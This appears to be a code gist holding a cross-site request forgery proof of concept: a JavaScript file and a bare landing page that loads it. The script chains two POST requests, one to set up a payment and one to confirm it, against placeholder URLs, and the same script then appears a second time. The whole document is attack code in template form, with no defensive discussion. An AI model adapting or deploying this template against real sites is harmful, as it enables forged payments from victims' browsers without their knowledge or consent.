hoodoer · December 10, 2019 09:19
diff --git a/csrfPoc.js b/csrfPoc.js
 function start()
 {
 	alert("Start?");
 }



 function sendRequests()
 {
 	// Setup the payment
 	var uri = "https://SOMEURL.com";
 	var xhr = new XMLHttpRequest();
 	xhr.open('POST', uri);

 	var body = ""; 
 	body += "t"; // Can change the date here

 	xhr.send(body);

 	// Ok, wait for that to come back, then we'll send the confirmation\
 	xhr.onreadystatechange = function()
 	{
 		if (xhr.readyState == XMLHttpRequest.DONE)
 		{
 			console.log("Onto phase 2...");
 			var secondUri = "https://SOMEOTHERURL.com";
 			xhr2 = new XMLHttpRequest();
 			xhr2.open('POST', secondUri);

 			var body2 = "";

 			xhr2.send(body2);
 			console.log("Should have confirmed the payment now...");
 		}
 	}
 }


 start();
 sendRequests();
diff --git a/landingPage.html b/landingPage.html
 <html>
  <body>
  <script src="./csrfPoc.js"></script>
  Hi!
  </body>
 </html>
	function start()
	{
	alert("Start?");
	}



	function sendRequests()
	{
	// Setup the payment
	var uri = "https://SOMEURL.com";
	var xhr = new XMLHttpRequest();
	xhr.open('POST', uri);

	var body = "";
	body += "t"; // Can change the date here

	xhr.send(body);

	// Ok, wait for that to come back, then we'll send the confirmation\
	xhr.onreadystatechange = function()
	{
	if (xhr.readyState == XMLHttpRequest.DONE)
	{
	console.log("Onto phase 2...");
	var secondUri = "https://SOMEOTHERURL.com";
	xhr2 = new XMLHttpRequest();
	xhr2.open('POST', secondUri);

	var body2 = "";

	xhr2.send(body2);
	console.log("Should have confirmed the payment now...");
	}
	}
	}


	start();
	sendRequests();